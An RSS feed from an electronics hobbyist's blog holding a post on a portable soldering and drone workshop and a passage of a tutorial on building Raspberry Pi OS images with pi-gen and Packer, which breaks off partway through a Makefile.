<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>blog.mmalecki.com</title>
		<description>Maciej Małecki's blog</description>
		<link>http://blog.mmalecki.com</link>
		<atom:link href="http://blog.mmalecki.com/feed.xml" rel="self" type="application/rss+xml" />
		
			<item>
				<title>Electronics lab on the move</title>
				<description>&lt;p&gt;Electronics may seem like complicated hobby or business to maintain while traveling.
Power supplies, multimeters, soldering irons - sure sounds like a lot to carry!
And it certainly was, back when you couldn’t fit a full-fledged CPU in a space
not much larger than an eye of a needle.&lt;/p&gt;

&lt;p&gt;Let me present my traveling electronics (with a dash of drone) workshop which
served my needs down to 0402 and 0.5 mm pitch one-sided SMD assembly for close
to six months, while fitting into a minor part of a checked in airline bag.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;Note: this post contains some product links. They are not sponsored, just
added as a matter of completeness.&lt;/p&gt;

&lt;h2 id=&quot;soldering-iron&quot;&gt;Soldering iron&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://pine64.com/product/pinecil-smart-mini-portable-soldering-iron/&quot;&gt;Pinecil v2&lt;/a&gt;
has served my needs well, both during travel and while at home.&lt;/p&gt;

&lt;p&gt;I carry the standard tip, as well as 3 additional ones:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;fine chisel tip (TS-BC2) - for connectors and certain SMD packages&lt;/li&gt;
  &lt;li&gt;fine sharp tip (TS-ILS) - for precision, low clearance soldering&lt;/li&gt;
  &lt;li&gt;knife tip (TS-KU) - perfect for desoldering and soldering large items&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It travelled in a &lt;a href=&quot;https://www.printables.com/model/345083-rugged-multipart-pinecilts100ts80-case-v2&quot;&gt;rugged case&lt;/a&gt; containing all the necessary accessories, including a reel of solder, stand and a brass brush.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/soldering-iron.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/soldering-iron.thumb.png&quot; alt=&quot;Soldering iron&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A vise is a necessity, and a &lt;a href=&quot;https://www.stickvise.com/&quot;&gt;Stickvise&lt;/a&gt; was my choice. Carry printed/bought vise jaws for replacement if you’re going for long!&lt;/p&gt;

&lt;h2 id=&quot;reflow-hot-plate&quot;&gt;Reflow hot plate&lt;/h2&gt;
&lt;p&gt;Another activity not commonly associated with having a small desk footprint is
reflow soldering - a process where solder paste is applied to a printed circuit board through a stencil,
components are placed, and the entire assembly is heated up in order to transform the paste into solder.&lt;/p&gt;

&lt;p&gt;That’s actually valid for the most part - there are major
disadvantages to using a hot plate for reflow, the main one being lack of ability
to do double-sided assembly using a single tool.&lt;/p&gt;

&lt;p&gt;This has not turned out to be an issue for me, however, as I’d assembled mostly
prototyping boards, and didn’t mind the occasional hand soldering session.&lt;/p&gt;

&lt;p&gt;I used a &lt;a href=&quot;https://www.dfrobot.com/product-2530.html&quot;&gt;Miniware MHP30&lt;/a&gt;, offering a
30 x 30 mm working field. The small size worked out for me, as I was working on
drone components, which conserve space out of necessity.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/reflow-hot-plate.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/reflow-hot-plate.thumb.png&quot; alt=&quot;MHP30 reflow hot plate with its case&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In its natural environment:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/reflow-environment.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/reflow-environment.thumb.png&quot; alt=&quot;MHP30 reflow hot plate in its natural environment&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also printed out these &lt;a href=&quot;https://www.printables.com/model/280488-stickvise-jaws-for-mhp30&quot;&gt;Stickvise jaws for MHP-30&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;power-supply&quot;&gt;Power supply&lt;/h2&gt;
&lt;p&gt;When diving into the world of drones, I was pleasantly surprised to learn that almost
every battery charger comes with a variable voltage power supply with current
limitation features, and high current supply abilities to boot.&lt;/p&gt;

&lt;p&gt;I picked &lt;a href=&quot;https://www.icharger.eu/icharger-s6-1100w-40a-lipo-6s-p-744.html&quot;&gt;iCharger S6&lt;/a&gt;
for this purpose. I don’t regret that choice, but today I would go out of my
way to make or buy something USB C-powered, such as &lt;a href=&quot;https://arkelectron.com/product/lipow-the-usb-c-lipo-battery-charger/&quot;&gt;ARK Electronics’ LiPow&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Supplying power to the charger proved to be a problem - it accepts DC input
voltage of 9 - 32 V, so a USB C decoy cable providing XT60 output at 20 V -
a &lt;a href=&quot;https://www.toolkitrc.com/sc100/&quot;&gt;ToolkitRC SC100&lt;/a&gt; - seemed like a logical pick.
That was, sadly, a mistake on my part. While I’m sure the IC that’s embedded
in the cable can provide the advertised 5 A of output current, my unit managed to
burn out quarter way through the trip, never having lived up to half
of its current potential. The cable kept getting hot enough to never leave
unattended. Sometimes you just cannot cheat thermal characteristics.&lt;/p&gt;

&lt;p&gt;Oddly enough, I wound up coming back with a power supply made by the same
manufacturer - the &lt;a href=&quot;https://www.toolkitrc.com/adp100/&quot;&gt;Toolkit RC ADP100&lt;/a&gt;,
which hasn’t given me the slightest problem ever since.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/power-supply.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/power-supply.thumb.png&quot; alt=&quot;Power supply alongside batteries and converters&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;test-instruments&quot;&gt;Test instruments&lt;/h2&gt;
&lt;p&gt;While I don’t think the &lt;a href=&quot;https://www.owon.com.hk/products_owon_hds200_series_digital_oscilloscope&quot;&gt;Owon HDS200 series of hand-held oscilloscopes&lt;/a&gt;
has a place on a bench next to Rigol or Tektronix devices, it definitely
did well for me in terms of functionality per cubic unit of luggage space.
Featuring a multimeter and a waveform generator, it genuinely left nothing
to be desired for my basic use-cases.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/oscilloscope.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/oscilloscope.thumb.png&quot; alt=&quot;Oscilloscope&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the other hand, here’s my nomination for an unlikely candidate for every
embedded engineer’s workbench: the &lt;a href=&quot;https://flipperzero.one/&quot;&gt;Flipper Zero&lt;/a&gt;.
The built-in converters replaced a bunch of discrete devices I would have to
haul around. Thanks to its programmability, it can also act as a screen to
any project with a decently capable microcontroller.&lt;/p&gt;

&lt;h2 id=&quot;hand-tools&quot;&gt;Hand tools&lt;/h2&gt;
&lt;p&gt;Of course, I couldn’t leave my trusty pliers behind. Grabbed some of their
friends, too, so they wouldn’t be lonely.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Pliers&lt;/li&gt;
  &lt;li&gt;Wire stripper&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.engineertools-jp.com/product-page/pad-11-handy-crimp-tool-s&quot;&gt;Engineer PAD-11 crimpers&lt;/a&gt; (my main use-case was crimping JST-GH, commonly used in drones)&lt;/li&gt;
  &lt;li&gt;Allen keys&lt;/li&gt;
  &lt;li&gt;Precision tweezers&lt;/li&gt;
  &lt;li&gt;Side cutters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/hand-tools.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/hand-tools.thumb.png&quot; alt=&quot;Hand tools&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;consumables&quot;&gt;Consumables&lt;/h2&gt;
&lt;p&gt;Cables, connectors I frequently use, and crimps. Add in some Kapton tape,
heatshrink and zip-ties and you’ve got yourself a modern-day MacGyver load-out.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/consumables.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/consumables.thumb.png&quot; alt=&quot;Consumables&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also brought a bag full of bags full of spare just-in-case SMD components, picked
from the most used ones in my library. Electronics already seems like a pretty
wasteful business with all the shipping and plastic involved, so I’d decided to 
pack what I needed in terms of components and work within these confines.
These actually proved very useful, both for repair and original work.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/baggy-of-bags.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/baggy-of-bags.thumb.png&quot; alt=&quot;Bag full of bags of SMD components&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;drone-stuff&quot;&gt;Drone stuff&lt;/h2&gt;
&lt;p&gt;Just the drone, some spare standoffs, bolts and propellers, as well as a Steam
Deck working double duty as a remote controller and entertainment.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/img/electronics-lab-on-the-move/drone.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/drone.thumb.png&quot; alt=&quot;Drone&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;/img/electronics-lab-on-the-move/propellers.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/propellers.thumb.png&quot; alt=&quot;Spare propellers&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;/img/electronics-lab-on-the-move/steam-deck.png&quot;&gt;&lt;img src=&quot;/img/electronics-lab-on-the-move/steam-deck.thumb.png&quot; alt=&quot;Steam Deck, the face is not permanently attached&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;general-remarks&quot;&gt;General remarks&lt;/h2&gt;
&lt;p&gt;As you will notice, USB C was the name of the game for powering many of these
devices. The USB PD standard has been a true lifesaver for integrating common
power delivery protocol into an effective footprint of a USB C connector (FUSB302, my beloved).
There is no excuse not to use it to power your projects, even as a hobbyist.&lt;/p&gt;

&lt;p&gt;While I’m sure my bag looked suspicious on the luggage scanners, a fair part of its
weight being electronics and related chemicals, to my knowledge it never got
opened and made it through multiple airports in Europe and Asia unharmed.&lt;/p&gt;

&lt;p&gt;If you’re concerned about humidity wrecking havoc on these delicate devices,
don’t be. My laptop came back with more visible wear on it than any of these did.&lt;/p&gt;

&lt;p&gt;Throughout my trip, I was able to move two projects from their inception, past
the prototype stage. If you’re interested in what I’ve been working on, check out
my drone electronics company, &lt;a href=&quot;https://spacedock.io&quot;&gt;Spacedock.io&lt;/a&gt;.&lt;/p&gt;
</description>
				<pubDate>Sun, 16 Feb 2025 00:00:00 -0600</pubDate>
				<link>http://blog.mmalecki.com/2025/02/16/electronics-lab-on-the-move.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2025/02/16/electronics-lab-on-the-move.html</guid>
			</item>
		
			<item>
				<title>pi-gen and Packer - building custom Raspberry Pi OS images from scratch</title>
				<description>&lt;p&gt;Over the weekend I decided to take on a project of upgrading my home Raspberry Pi
set up. That had to start by &lt;s&gt;writing a blog post about it&lt;/s&gt; figuring out how
to build OS images for the Pis to run on. So far, I’ve been flashing images
built with &lt;a href=&quot;https://github.com/RPi-Distro/pi-gen&quot;&gt;pi-gen&lt;/a&gt;’s custom stages onto SD cards - a perfectly servicable, but
toil-heavy solution. However, seeing how I planned to add another Pi, running
another stack, into the mix, I needed something more automated and flexible.&lt;/p&gt;

&lt;p&gt;Since I needed to figure out some things along the way, I decided to do this quick
write-up on the off-chance someone else needs to reproduce this setup.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;&lt;strong&gt;(&lt;a href=&quot;https://github.com/mmalecki/pi-gen-packer&quot;&gt;tl;dr! Show me the code!&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;requirements-why-pi-gen&quot;&gt;Requirements: why pi-gen?&lt;/h1&gt;
&lt;p&gt;When revisiting a project like this, it’s often worth reconsidering the technology
choices made along the way. After all, in the space of a year
entire start-ups could’ve been built, funded, and bankrupted around the very same
thing I was trying to solve.&lt;/p&gt;

&lt;p&gt;I wanted to build relatively thin (primarily running Docker containers as service hosts),
but not prohibitively thin (so that I could still easily use one as a base for
setting up a dev box) OS images that I could write to a SD card.&lt;/p&gt;

&lt;p&gt;Both the lite version of Raspberry Pi OS and the ARM version of the Ubuntu Server
image ship with a couple of packages I didn’t foresee myself needing, so these
were out of the question. The other side of the spectrum - anything geared towards
being a pure container hosting solution, or a IoT distribution - would be missing
some tools I find handy. That pretty much ruled out any ready-made image I could find.&lt;/p&gt;

&lt;p&gt;Building any other distribution from scratch would require that I get the hardware
support for Raspberry Pi in place myself.&lt;/p&gt;

&lt;p&gt;pi-gen it was, then.&lt;/p&gt;

&lt;h1 id=&quot;requirements-why-packer&quot;&gt;Requirements: why Packer?&lt;/h1&gt;
&lt;p&gt;Packer is the industry standard for producing OS images, and I work with it
almost daily. Additionally, the &lt;a href=&quot;https://github.com/solo-io/packer-plugin-arm-image&quot;&gt;Packer ARM image plugin&lt;/a&gt; seems to be the preferred
choice for folks building on top of the available Raspberry Pi OS image.
Therefore, it was an easy pick.&lt;/p&gt;

&lt;h1 id=&quot;setting-up-pi-gen&quot;&gt;Setting up pi-gen&lt;/h1&gt;

&lt;p&gt;Since I wanted to give the 64-bit build a try (I paid for 64 bits, and I’m gonna
use all of them, damn it!), I started off from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arm64&lt;/code&gt; branch of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pi-gen&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/rpi-distro/pi-gen
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;pi-gen
git checkout arm64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Firstly, I wanted to set up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pi-gen&lt;/code&gt; to generate the image in a fashion the Packer
ARM image plugin could consume with minimal overhead. That made a fine start to
my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pi-gen&lt;/code&gt; &lt;a href=&quot;https://github.com/RPi-Distro/pi-gen#config&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt;&lt;/a&gt; - the file that configures the Raspberry Pi OS build.&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;DEPLOY_COMPRESSION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;none &lt;span class=&quot;c&quot;&gt;# disable output compression for the Packer ARM image plugin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, I needed to get my own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stage2&lt;/code&gt; going. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stage2&lt;/code&gt; of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pi-gen&lt;/code&gt; process
is where the Raspberry Pi OS Lite image is produced. According to the &lt;a href=&quot;https://github.com/RPi-Distro/pi-gen#raspbian-stage-overview&quot;&gt;documentation&lt;/a&gt;,
it’s also where you’d start trimming if looking to build a more minimalistic Lite-like image.
And so trim I did:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; stage2 stage2-base
vim stage2-base/01-sys-tweaks/00-packages &lt;span class=&quot;c&quot;&gt;# removed unneeded packages&lt;/span&gt;
vim stage2-base/EXPORT_IMAGE              &lt;span class=&quot;c&quot;&gt;# removed the unwanted `-lite` image name suffix&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I then instructed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pi-gen&lt;/code&gt; to the new list of stages to build in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt;,
and to name the output aptly:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;STAGE_LIST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;stage0 stage1 stage2-base&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IMG_NAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;base
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The last thing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt; needed was server-leaning configuration, and some personal
touch (with secrets left out):&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;RELEASE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;bullseye

&lt;span class=&quot;nv&quot;&gt;DISABLE_FIRST_BOOT_USER_RENAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1
&lt;span class=&quot;nv&quot;&gt;FIRST_USER_NAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;...&apos;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;FIRST_USER_PASS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;...&apos;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;WPA_ESSID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;...&apos;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;WPA_PASSWORD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;...&apos;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;WPA_COUNTRY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;PL &lt;span class=&quot;c&quot;&gt;# a valid country code is now required by pi-gen&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;PUBKEY_SSH_FIRST_USER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;curl https://github.com/pinky.keys &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; curl https://github.com/thebrain.keys&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;ENABLE_SSH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1
&lt;span class=&quot;nv&quot;&gt;PUBKEY_ONLY_SSH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1

&lt;span class=&quot;nv&quot;&gt;KEYBOARD_KEYMAP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;...
&lt;span class=&quot;nv&quot;&gt;KEYBOARD_LAYOUT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;...
&lt;span class=&quot;nv&quot;&gt;LOCALE_DEFAULT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;en_US.UTF-8

&lt;span class=&quot;nv&quot;&gt;TIMEZONE_DEFAULT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;UTC
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I was now able to run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo ./build.sh&lt;/code&gt; and have a shiny Raspberry Pi OS image
dropped in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deploy&lt;/code&gt; directory.&lt;/p&gt;

&lt;h1 id=&quot;setting-up-packer&quot;&gt;Setting up Packer&lt;/h1&gt;
&lt;p&gt;The next step was to set up my build pipelines in Packer. I decided to start
with a fairly straightforward use-case: OctoPrint running in a Docker container,
for my Prusa i3.&lt;/p&gt;

&lt;p&gt;I set up my &lt;a href=&quot;ttps://github.com/mmalecki/pi-gen-packer/blob/b0dca7f7336f1387925d569bbdfdd8ea43ce18a2/packer/sources.pkr.hcl&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sources.pkg.hcl&lt;/code&gt;&lt;/a&gt; to accept paths and SHA sums from outside,
leaving it to the impending build process to feed them into Packer:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;arm-image&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;prusa_i3&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;iso_url&lt;/span&gt;           &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;source_iso_url&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;iso_checksum&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;source_iso_checksum&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;image_type&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;raspberrypi&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;output_filename&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;${var.output_directory}/prusa_i3.img&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;target_image_size&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;target_image_size&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;qemu_binary&lt;/span&gt;       &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;qemu-aarch64-static&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And finally, I could get into provisioning the machine with shell scripts in &lt;a href=&quot;https://github.com/mmalecki/pi-gen-packer/blob/b0dca7f7336f1387925d569bbdfdd8ea43ce18a2/packer/build.pkr.hcl&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build.pkr.hcl&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;build&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;sources&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;source.arm-image.prusa_i3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;common&quot;&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;provisioner&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;shell&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;scripts/common.sh&quot;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;provisioner&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;shell&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;scripts/install-docker.sh&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;environment_vars&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;s2&quot;&gt;&quot;OPERATOR_USER=${var.operator_user_name}&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;tying-it-all-together&quot;&gt;Tying it all together&lt;/h1&gt;
&lt;p&gt;The last thing I needed was a build process. I decided to write a quick and dirty
&lt;a href=&quot;https://github.com/mmalecki/pi-gen-packer/blob/b0dca7f7336f1387925d569bbdfdd8ea43ce18a2/Makefile&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Makefile&lt;/code&gt;&lt;/a&gt; that used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt; as source of information:&lt;/p&gt;

&lt;div class=&quot;language-makefile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;IMG_DATE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;shell&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;date&lt;/span&gt; +%Y-%m-%d&lt;span class=&quot;nf&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IMG_NAME&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;shell&lt;/span&gt; bash &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;source ./config; echo $$IMG_NAME&apos;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# pi-gen outputs builds in `deploy` directory by default. We don&apos;t enforce
# this out of convenience, since it seems pretty unlikely to ever change.
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PI_GEN_DEPLOY_DIR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; deploy
&lt;span class=&quot;nv&quot;&gt;BASE_IMG_FILENAME&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(PI_GEN_DEPLOY_DIR)&lt;/span&gt;/&lt;span class=&quot;nv&quot;&gt;$(IMG_DATE)&lt;/span&gt;-&lt;span class=&quot;nv&quot;&gt;$(IMG_NAME)&lt;/span&gt;.img

